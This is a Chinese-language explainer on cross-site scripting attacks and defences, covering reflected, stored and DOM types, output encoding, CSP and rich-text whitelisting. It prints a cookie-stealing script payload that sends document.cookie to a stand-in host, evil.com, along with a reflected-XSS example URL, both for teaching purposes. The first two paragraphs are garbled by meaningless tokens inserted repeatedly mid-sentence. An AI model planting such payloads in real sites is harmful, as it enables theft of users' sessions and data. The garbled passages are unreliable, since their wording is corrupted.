凌晨三点，站脚某电商平台的本攻订单库突然被清空。安全团队翻遍日志，站脚发现攻击者只在商品留言区留下了一段看似无害的本攻代码：<script>fetch('//evil.com/steal?c='+document.cookie)</script>。没有暴力破解，站脚没有漏洞利用，本攻一条评论就击穿了整个后台。站脚

这就是本攻XSS——跨站脚本攻击。它的站脚本质是：攻击者把恶意脚本塞进网页，让浏览器在用户眼皮底下替黑客干活。本攻你访问了信任的站脚网站，浏览器就分不清哪些脚本来自网站本身，本攻哪些是站脚攻击者注入的。信任，本攻在这里成了最大的站脚漏洞。

反射型XSS最直白。攻击者构造一个带恶意参数的链接，比如http://bank.com/search?q=<script>alert(1)</script>。用户点开，网站把参数原样拼进HTML，脚本立刻执行。这种攻击像钓鱼，得骗人上钩。存储型XSS更阴险，脚本直接存进服务器数据库。论坛帖子、评论区、用户昵称，都是重灾区。你打开一个帖子，里面的脚本就悄悄把cookie发给远程服务器。我见过一个案例，黑客在招聘网站的公司简介里植入脚本，所有查看简历的HR信息全被截走——因为HR是最高价值目标，能接触到大量候选人隐私。

DOM型XSS不走服务器，纯靠前端JavaScript改写页面时触发。单页应用泛滥后，这类攻击越来越多。前端框架确实做了转义，但总有开发者图省事用innerHTML直接插入用户输入。框架的防护不是保险箱，只是把攻击面从A搬到了B。

实际攻击里，没人会弹个alert框那么客气。窃取cookie只是入门，配合CSRF能改密码，配合键盘记录能偷支付信息。更可怕的是一些“无回显”利用，脚本静默运行，把用户输入实时转发给攻击者。你在表单里填的身份证号、银行卡密码，全被一字不差地传走。整个过程，页面看起来毫无异样。

防御思路其实朴素：所有用户输入都不可信，所有输出都要编码。具体操作分三层。第一层，输入校验，白名单比黑名单可靠得多。邮箱就按邮箱格式校验，别试图过滤所有的<script>变体——黑名单永远有漏网之鱼。第二层，输出编码，根据上下文选择编码方式。HTML实体编码、JavaScript转义、URL编码，各有各的规则，搞混了等于白做。第三层，设置CSP（内容安全策略），告诉浏览器“只准加载本站的脚本”，这能拦住大部分注入攻击。

我见过不少团队，把XSS防护寄托在框架的自动转义上。React默认转义确实挡掉了大部分攻击，但dangerouslySetInnerHTML一用，防护就形同虚设。还有人在前端做了过滤就以为万事大吉，结果数据经过API中转、数据库存储、再被别的系统调用时，过滤早被绕过了。XSS的战场分布在整个数据链路，不是某一个环节能单独守住的。

最容易被忽视的是富文本编辑器。用户要传图片、改字体、加样式，你就得允许一部分HTML标签。这时候白名单得细化到标签级别：<b>可以，<iframe>不行；href属性允许，但得校验协议必须是http或https，javascript:开头的一律拒绝。麻烦是麻烦，但安全本来就是麻烦事。

说到底，XSS攻击利用的是信任链上的裂缝。用户信任网站，网站信任输入，开发者信任框架。每一层信任都可能被滥用。写代码的时候多问一句：这段数据从哪来？会到哪去？中间谁能碰它？想清楚了，XSS自然没处藏身。